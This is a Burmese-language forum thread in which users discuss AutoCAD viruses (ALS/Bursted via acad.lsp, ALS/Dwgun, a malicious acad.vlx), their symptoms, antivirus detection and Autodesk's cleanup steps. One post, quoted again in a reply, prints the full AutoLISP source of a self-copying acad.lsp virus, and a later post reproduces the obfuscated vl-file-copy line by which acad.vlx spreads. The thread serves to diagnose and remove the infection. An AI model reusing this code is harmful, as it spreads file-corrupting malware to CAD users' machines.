PDA

View Full Version : ေအာ္တိုကဒ္ ဖ်က္ပိုး



KPZ
04-28-2009, 09:44 PM
သီးႏွံေတြကို ပ်က္စီးေအာင္ တိုက္ခိုက္ေနတဲ့ အရာေတြကို သီးႏွံဖ်က္ပိုးလို႔ ေခၚရင္ ေအာ္တိုကဒ္ကို ထိခိုက္ေစတဲ့ တိုက္ခိုက္တဲ့ အရာကို ေအာ္တိုကဒ္ဖ်က္ပိုးလို႔ ေခၚႏိုင္တာေပါ့ေလ။ ခုေနာက္ပိုင္း နည္းပညာေတြ အံ့မခန္းတိုးတက္ လာတာနဲ႔အမွ် ဆိုးက်ိဳးေတြလည္း ကပ္ပါလာတာ အထင္အရွားပါ။

အခု ဗိုင္း၇ပ္ကေတာ့ ေအာ္တိုကဒ္ကို ထိခိုက္ေစတဲ့ ဗိုင္း၇ပ္တစ္မ်ိဳးပါပဲ။ အဲဒီ့ေကာင္ နာမည္က acad.lsp တဲ့....သူက Auto cad scripting Language ထဲကို ၀င္ေရာက္ေန တတ္ပါတယ္။ အဲဒီ့ဗိုင္းရပ္ကို text file တစ္ခုအေနနဲ႔ (.dwg)ထဲကို ၀င္ေရာက္ လာပါေလေရာ။ ဒီဗိုင္းရပ္ကို Auto cad start up function နဲ႔ လုပ္ထားတာပါ။ ဒီေကာင္က ေအာ္တိုကဒ္ဖိုင္ထဲမွာ ၀င္ပုန္းေနတတ္ၿပီး သူရွိေနတဲ့ ေအာ္တိုကဒ္ကို ဖြင့္လိုက္တာနဲ႔ သူက ေပ်ာ္ေပ်ာ္ၾကီး အသက္၀င္လာေတာ့တာပဲ။ အဲဒီ့ အခ်ိန္ကစၿပီး ေအာ္တိုကဒ္ထဲက Pan, Zoom, Exref, X bind, Express Toolbar စတဲ့ဟာေတြ သံုးလို႔ မရေတာ့ဘူး ျဖစ္ပါေလေရာ ။ ကဲ.. သူငယ္ခ်င္းတို႔ ေအာ္တိုကဒ္ ပံုေတြဆြဲတဲ့ အခါ အဲလို Command တစ္ခ်ိဳ႕ သံုးမရဘူး ျဖစ္ေနပီ ဆိုရင္ေတာ့ ဗိုင္းရပ္ ကိုက္ေနတာ ေသခ်ာေနပီေနာ္။ ေနာက္တစ္ခု ေအာ္တိုကဒ္ ဖိုင္တစ္ခုကို ဖြင့္လိုက္တဲ့ အခါ ေမးေလ့ေမးထ မရွိတဲ့ ေမးခြန္းေတြ ေမးပါတယ္တဲ့။ အဲဒီ့အခါ ဘာကိုမွ ျပန္မေျဖပဲ အဲဒီ့ဖိုင္ကို ျပန္ပိတ္လိုက္ပါ။ ( ေကပီဇက္လည္း မၾကံဳဘူးေတာ့ ဘာေတြေမးတယ္ ဆိုတာေတာ့ ေသခ်ာမသိဘူးေနာ္။ စမ္းလည္း မစမ္းသပ္ရဲဘူး ။ ၾကံဳဘူးတဲ့လူရွိရင္ ေျပာပါေနာ္.. ဘာေတြ ေမးတယ္ဆိုေျပာျပပါေနာ္။ )

System Properties ကို Disable လုပ္ပါ။ လက္ရွိဖြင့္ထားတဲ့ ေအာ္တိုကဒ္ဖိုင္ေတြ အားလံုးကို ပိတ္လိုက္ပါေနာ္။ သူငယ္ခ်င္းစက္မွာ ရွိတဲ့ AntiViru Software တစ္ခုခုကို Full Scan လုပ္လိုက္ပါ။ စက္မွာေပၚလာတဲ့ Detected File ေတြအားလံုးကို ဖ်က္ၿပစ္လိုက္ပါ။ ဒါဆိုရင္ အဆင္ေျပေလာက္ပါပီ......

papagyi
04-29-2009, 01:14 AM
ဟုတ္ပါ့ဗ်ာ...သူငယ္ခ်င္းတစ္ေယာက္ ေတာင္ျဖစ္လို႔ ...norton နဲ႔ run လိုက္မွအဆင္ေျပသြား တည္ေျပာတယ္....
acad.lsp ဆိုတာ....advance user ေတြ micro command ေတြသံုးေလ႔ရွိတဲ႔ autocad auto load လုပ္တဲ႔ lisp file ပါ။
တစ္ကယ္ေတာ့ virus file မဟုတ္ပါဘူး....autocad ထဲ ၀င္ျပီး system variable ေတြ change ျပီး ျပႆနာေပးဖို႔
acad.lsp နဲ႔ နာမည္တူေအာင္ေပးထားလိုက္တာပါ။ :)

chan09
04-29-2009, 09:13 PM
ခ်န္းခ်န္းသိသေလာက္ေတာ့ ဒီ virus ကို norton ကမသိပါ၀ူး... AVG ဒါမွမဟုတ္ McAfee ဒါမွမဟုတ္ကတ္ပါစကိုင္း တခုခုသံုးရပါလိမ့္မယ္...
သူအလုပ္လုပ္ပံုက (findfile "acad.lsp") or (findfile "acadapp.lsp") acad.lsp ဒါမွမဟုတ္ acadapp.lsp ကိုရွာမယ္..
လက္ရိွသံုးေနတဲ့ drawing path မွာသြားေရးမယ္... အဲ့ဒိ drawing ကို ဖြင့္တဲ့ အခ်ိန္မွာ acad.lsp ကို execute လုပ္မယ္...
ဒီလိုနည္းနဲ့ acad.lsp ေတြထပ္ပြားလာပါလိမ့္မယ္... အမွန္တကယ္ acad.lsp က auto CAD ရဲံ support folder ေအာက္မွာပဲရိွရမွာပါ...
အဲ့ဒိ Acad.lsp ရဲ့ ကုဒ္ေလးေတြကေတာ့ ဒီမွာပါ....

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1
(- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 "" ns2 "")
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2) (setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line (strcat "(load" (chr 34) "acadapp" (chr 34) ")") wjm)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
; (command "undefine" "explode")
; (command "undefine" "xref")
; (command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn (setq wjm (open oldacad "r"))
(while (setq wz (read-line wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
;(defun C:explode (/ p cont old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (setq p (ssget))
; (if p (progn (setq cont (sslength p))
; (princ "\nSeltct objects:")
; (princ cont)
; (princ "found")
; (princ "\n")
; (princ cont)
; (princ "was not able to be explode")
; )
; )
; (setvar "cmdecho" old_cmd)
; (princ)
; )
;(defun C:xref (/ old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (command "insert")
; (setvar "cmdecho" old_cmd)
; (princ)
; )
;(defun C:xbind (/ old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (command "insert")
; (setvar "cmdecho" old_cmd)
; (princ)
; )
(defun C:burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----½«Í¼¿éÖеÄÎÄ×ÖÕ¨¿ªºó³ÉΪʵÌå")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)
ဗိုင္းရပ္စ္ name ကေတာ့ ALS/Bursted ပါ... http://www.sophos.com/security/analyses/viruses-and-spyware/alburstedd.html
ခင္မင္ေလးစားလ်က္
ခ်န္းခ်န္း ( mg mine )

MINIMALIST
05-16-2009, 04:25 PM
အဲဒီေကာင္ကို NORTON နဲ႕ မိပါတယ္။ KASPERSKY နဲ႕ လုံး၀ မမိပါဘူး။ BIT DEFENDER နဲ႕ေတာ့ မိပါတယ္။





ခ်န္းခ်န္းသိသေလာက္ေတာ့ ဒီ virus ကို norton ကမသိပါ၀ူး... AVG ဒါမွမဟုတ္ McAfee ဒါမွမဟုတ္ကတ္ပါစကိုင္း တခုခုသံုးရပါလိမ့္မယ္...
သူအလုပ္လုပ္ပံုက (findfile "acad.lsp") or (findfile "acadapp.lsp") acad.lsp ဒါမွမဟုတ္ acadapp.lsp ကိုရွာမယ္..
လက္ရိွသံုးေနတဲ့ drawing path မွာသြားေရးမယ္... အဲ့ဒိ drawing ကို ဖြင့္တဲ့ အခ်ိန္မွာ acad.lsp ကို execute လုပ္မယ္...
ဒီလိုနည္းနဲ့ acad.lsp ေတြထပ္ပြားလာပါလိမ့္မယ္... အမွန္တကယ္ acad.lsp က auto CAD ရဲံ support folder ေအာက္မွာပဲရိွရမွာပါ...
အဲ့ဒိ Acad.lsp ရဲ့ ကုဒ္ေလးေတြကေတာ့ ဒီမွာပါ....

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1
(- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 "" ns2 "")
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2) (setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line (strcat "(load" (chr 34) "acadapp" (chr 34) ")") wjm)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
; (command "undefine" "explode")
; (command "undefine" "xref")
; (command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn (setq wjm (open oldacad "r"))
(while (setq wz (read-line wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
;(defun C:explode (/ p cont old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (setq p (ssget))
; (if p (progn (setq cont (sslength p))
; (princ "\nSeltct objects:")
; (princ cont)
; (princ "found")
; (princ "\n")
; (princ cont)
; (princ "was not able to be explode")
; )
; )
; (setvar "cmdecho" old_cmd)
; (princ)
; )
;(defun C:xref (/ old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (command "insert")
; (setvar "cmdecho" old_cmd)
; (princ)
; )
;(defun C:xbind (/ old_cmd)
; (setq old_cmd (getvar "cmdecho"))
; (setvar "cmdecho" 0)
; (command "insert")
; (setvar "cmdecho" old_cmd)
; (princ)
; )
(defun C:burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----½«Í¼¿éÖеÄÎÄ×ÖÕ¨¿ªºó³ÉΪʵÌå")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)
ဗိုင္းရပ္စ္ name ကေတာ့ ALS/Bursted ပါ... http://www.sophos.com/security/analyses/viruses-and-spyware/alburstedd.html
ခင္မင္ေလးစားလ်က္
ခ်န္းခ်န္း ( mg mine )

chan09
05-16-2009, 05:13 PM
အဲဒီေကာင္ကို NORTON နဲ႕ မိပါတယ္။ KASPERSKY နဲ႕ လုံး၀ မမိပါဘူး။ BIT DEFENDER နဲ႕ေတာ့ မိပါတယ္။



ေက်းဇူးအထူးပါ MINIMALIST ေရ...
တကယ္ေတာ့ အဲ့ဒိေကာင္မွာ version ေတြကြဲေနတာနဲ့ထင္ပါတယ္...
ALS BURSTED.B
ALS BURSTED.AE
ALS BURSTED.AK
ALS BURSTED.E
ALS BURSTED.G
ALS BURSTED.GEN
ALS BURSTED.H
ALS BURSTED.J
စသည္ျဖင့္ပါ... ဘာပဲျဖစ္ျဖစ္ေက်းဇူးပါ.....
ေနာက္တစ္ေကာင္ရိွပါေသးတယ္ သူကေတာ့ တအားၾကီး မဆိုး၀ူးထင္တာပါပဲ..
မခိုင္က acad.lsp ကိုပဲ ေျပာျပေသးလို့မေဆြးေႏြးျဖစ္တာပါ...
ALS_DWGUN.A လို့အမည္ရပါတယ္...သူက ၂၀၀၄ အထက္ version ေတြကိုေတာ့ ဒုကၡမေပးႏိုင္၀ူးထင္တာပါပဲ..
ေနာက္ထပ္ သူ့ရဲ့ new version ေတြရိွလာရင္(ရိွေနေလာက္ျပီလို့ေတာ့ထင္တယ္) ေတာ့ ဒန္ ... တန့္...တန့္.. ဟိဟိ
Mcafee site တခုမွာေတာ့ ဒီလိုေဖၚျပထားပါတယ္...
" ALS / Dwgun.a FAS will use AutoCAD's automatic loading files.
The AutoCAD program folder itself, Application Data folder in the folder and write.
* %Documents and Settings%\Application Data\Autodesk\AutoCAD 2007\R17.0\enu\Support\acad.fas % Documents and Settings% \ Application Data \ Autodesk \ AutoCAD 2007 \ R17.0 \ enu \ Support \ acad.fas
* %Program Files%AutoCAD 2007\Drv\acad.fas % Program Files% AutoCAD 2007 \ Drv \ acad.fas
* %Program Files%AutoCAD 2007\Fonts\acad.fas % Program Files% AutoCAD 2007 \ Fonts \ acad.fas
* %Program Files%AutoCAD 2007\Help\acad.fas % Program Files% AutoCAD 2007 \ Help \ acad.fas
* %Program Files%AutoCAD 2007\Support\Color\acad.fas % Program Files% AutoCAD 2007 \ Support \ Color \ acad.fas
* %Program Files%AutoCAD 2007\Support\acad.fas % Program Files% AutoCAD 2007 \ Support \ acad.fas
% SYSTEM% \ dwgrun.bat drop the file (create). Drop files, acad.sys, acad.fas the user that the file name in the Application Data folder% WINDOWS% \ winsys.ini,% WINDOWS% \ winfas.ini Copy and set the hidden attribute of these files .

Creates the following registry entry.

* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwgrun: "%SYSTEM%\dwgrun.bat" HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ dwgrun: "% SYSTEM% \ dwgrun.bat"
(% Documents and Settings% is the user's documents and settings folder (Example: C: \ Documents and Settings \ user name),% Program Files% is PUROGURAMUFAIRUFORUDA (example: C: \ Program Files),% SYSTEM% in Windows system folder (Example: C: \ Windows \ system32),% WINDOWS% is the Windows installation folder (Example: C: \ Windows)) "
http://www.mcafee.com/japan/security/virD2008.asp?v=ALS/Dwgun.a
ဂ်ပန္ဆိုဒ္တခုက မီွးျငမ္းတာေၾကာင့္ အမွားအယြင္းရိွပါက ဘာသာျပန္ေပးေသာ google translator ၾကီးအျပစ္သာျဖစ္ပါေၾကာင္း ... ဟိဟိ
ဒါေၾကာင့္ ALS/Dwgun.bat လည္းရိွေသးတယ္ဆိုပါေတာ့.... ဘာပဲျဖစ္ျဖစ္ auto CAD user ေတြကို ေခါင္းခဲေစဖို့ရည္ရြယ္ရင္းပဲထင္ပါရဲ့...

ခင္မင္ေလးစားလ်က္
ခ်န္းခ်န္း(mg mine)

Maung Thant Zin Oo
06-24-2009, 02:21 PM
ကြၽန္ေတာ္ စမ္းသပ္သမွ်ေတာ႔ Norton, AVG ဒါမွမဟုတ္ McAfee ဒါမွမဟုတ္ ကတ္ပါစကိုင္း ေတြနဲ႕မရပါဘူး။ စမ္းသပ္မယ္ဆိုရင္ "acad.lsp" ထိေနတဲ့ Cad File နဲ႕ "acad.lsp" File ေလးကို Upload တင္ေပးထားပါတယ္။ acad.lsp File ကိုဖြင့္ယုံႏွင့္ PC က ိုမထိပါ။ Cad Fileကိုဖြင့္ရင္ ေမးခြန္း ႏွစ္ခုေမးပါလိမ့္မယ္။ "acad.lsp" ကို current file မွာအသုံးျပဳ မလား? နဲ႕ files အားလုံး မွာအသုံးျပဳ မလား? ဆိုျပီးေတာ႔ပါ။ Office က Computer ေတြမွာ မဖြင့္ဖို႔ အသိေပးလိုပါတယ္။ Office က AutoCAD 2005 version မွာထိသြားတဲ့ အတြက္ ခု AutoCAD 2009 version ကိုေျပာင္းသုံးေနရပါတယ္။ version အျမင့္မွာေတာ႔ version အနိမ့္မွာလို Commands ေတြ မထိသြားပါဘူး။ ေျဖရွင္းလို႔ ရမဲ့ နည္းေလးရွိရင္ Share လုပ္ေပးၾကပါဦးေနာ္။ :'( :'( :'(

Cad File - http://ifile.it/c08tpey
"acad.lsp" File - http://ifile.it/az5hw2y

sawgyi
10-03-2010, 10:03 PM
last month I faced this problem, if u open any dwg new or current dwg file u can see very long time to ope. and after u can see inside ur folder acad.lsp file that is one of every time will appear u open any dwg. So i open that acad.lsp file with notepad and i see fillmode in there.
And i try to fix this problem in online searching. Now it is ok, bcoz u need to go under support folder and u will see acad.lsp pls check that is the one of fillmode text in there. Then delete this acad.lsp and now u will get happiness if u open autocad new dwg or any dwg!!!!!

ပန္းေလေျပ
10-04-2010, 11:32 PM
ကၽြန္ေတာ္ ဒီေကာင္ကိုမိတာေတာ့ ၾကာပါၿပီး...အစတုန္းက http://3.bp.blogspot.com/_VBEK0aoUfHg/ScB0ipo2NDI/AAAAAAAACTk/t4IUqounfGc/s320/72_Avira_AntiVir_PersonalEdition_Classic.png Avira တင္ထားတာ မမိဘူးဗ်... ေနာက္ေတာ့ ဒီ http://t0.gstatic.com/images?q=tbn:6Db4CWZ1HTtqcM:http://www.cotton.sd.cn/upload_files/news//1_127.0.0.1__2006_05_15_15_30_43_.GIF Symantec Antivirus ထပ္တင္ေတာ့မွ
Avira ေကာ Symantec ကပါ ဒီေကာင္ကို Trojan ဆိုၿပီးမိပါတယ္... acad.vlx ဆိုၿပီးမိတာပါ...အဲဒီအခါမွ ကၽြန္ေတာ့္ AutoCAD ဖိုင္ေတြစုထားတ
Project ဖိုင္ႀကီးတစ္ခုလံုးကို ျပန္စစ္ၾကည့္ေတာ့ မွ အား...လား...လား.....ဒီေကာင္က AutoCAD ဖိုင္တစ္ဖိုင္ကို တစ္ေကာင္ႏႈန္းနဲ႕႐ွိေနတာကိုး......
ကၽြန္ေတာကေတာ့ ဒီေကာင္ ဘယ္လိုမ်ိဳး ဒုကၡေပးတယ္ဆိုတာေတာ့ မသိဘူး....
မိတာကေတာ့ ဒီလိုပါ...
http://hosting11.imagecross.com/image-hosting-50/3130Virus.jpg

ကိုဖိုးေဇာ္
10-05-2010, 03:15 AM
*.vlx က AutoCAD နဲ႕ တြဲသုံးတဲ့ Auto Lisp program file ေတြျဖစ္တဲ့ *.lsp/ *.fas ေတြကို တစုတေ၀းထဲ load တင္လို႕ ရေအာင္ compile လုပ္ေပးတဲ့အခါ ရလာတဲ့ application extension တခု ပါ... Anti virus program က မွားၿပီး trojan အေနနဲ႕ သတ္မွတ္တာ ျဖစ္မယ္ထင္တယ္..

update: It's known virus.

papagyi
10-07-2010, 08:47 PM
ဟုတ္ပါတယ္ virus ျဖစ္ဖို႔ မ်ားပါတယ္။..*.vlx ရဲ ႔ location က ေနရာမွားေနတဲ့ အျပင္ တစ္ဖိုင္တစ္္ခုဆိုတာ ပံုမွန္မဟုတ္ပါဘူး။acad ရဲ ႔ system path ေတြထဲမွာပဲရွိသင့္ပါတယ္။
အထက္က ေဆြးေႏြးၾကခဲ့သလို acad.lsp ဆိုတာလဲ autocad အတြက္ micro ေတြ တင္ျပီးသံုးဖို႔ အတြက္ perdefine လုပ္ထားတဲ့ဖိုင္ပါပဲ။
ဒါေပမယ့္ virus က အဲဒီ အေပၚမွာ overwrite လုပ္ျပီး အားေပးတာပါ။အထက္က trojan ဆိုျပီး ျပတဲ့ အခါ fix လုပ္ေပးျပီး သတ္လိုက္တယ္ဆိုပါစို႔။
autocad ဆြဲတဲ့ အခါ အားလံုးက ပံုမွန္ဆို ေသခ်ာပါတယ္ ဗိုင္ရပ္စ္ပါ။ :)

MMO
10-07-2010, 09:44 PM
အဟဲ... က်ေနာ့ ရံုးမွာေတာ့ ဆက္လက္ရွင္သက္လွ်က္ပါဗ်ာ... ေအာ္တုိကတ္တစ္ဖုိင္ဖြင့္လုိက္တုိင္း အဲဒီဖုိင္က ေပၚေပၚေနတာ... ခုေတာ့ မထူးဆန္းေတာ့ သလုိပါပဲ...ေအးေဆးေပါ့... အလုပ္လုပ္လုိ႔ျဖစ္ေနတာပဲေလ... ကိုယ့္ ကိုယ္ပိုင္စက္မွာ ျဖစ္ရင္ေတာ့ ေဖာင္းမက္ခ်ပီး အသစ္ပဲ တင္လုိက္ေတာ့မယ္... စိတ္ကူးမိသဗ်...

ကိုဖိုးေဇာ္
10-07-2010, 10:01 PM
Yes, it's VIRUS!

How to remove?, here u go! http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=13717811&linkID=9240897

Issue
Users of AutoCAD-based products have reported a malicious acad.vlx file that causes drawing corruption.

Solution
This is not an actual AutoCAD file provided by Autodesk. When the malicious acad.vlx file is loaded in AutoCAD, it corrupts the drawing, which may result in a Missing Language Pack dialog box displaying when you save and reopen the drawing.

The acad.vlx file creates a copy of itself in the Help folder (for example, C:\Program Files\AutoCAD 20xx\Help\logo.gif). Several other files are also modified and the ACADLSPASDOC system variable is set to 1, allowing the acad.vlx file to be loaded into other opened drawings, thereby corrupting them.

The cleanup process outlined below detects and deletes any acad.vlx file before AutoCAD attempts to load it, preventing the spread of the virus.

To prevent additional file corruptions
You must be a system administrator on your Microsoft® Windows® operating system to complete this process.

1. In your product installation folder, locate the Support folder (for example, C:\Program Files\AutoCAD 20xx\Support).


2. In the Support folder, double-click the acad20xx.lsp file (for example, the acad20xx.lsp file). Add the code below to the file. AutoCAD will detect and delete the acad.vlx and logo.gif files.


(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)

3. Open each of the following files:
C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
ROAMABLEROOTPREFIX\Support\acad.mnl
Note: Replace ROAMABLEROOTPREFIX with the value returned by the ROAMABLEROOTPREFIX system variable.

4. If present, delete the following line of code:

(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))


5. Save each file.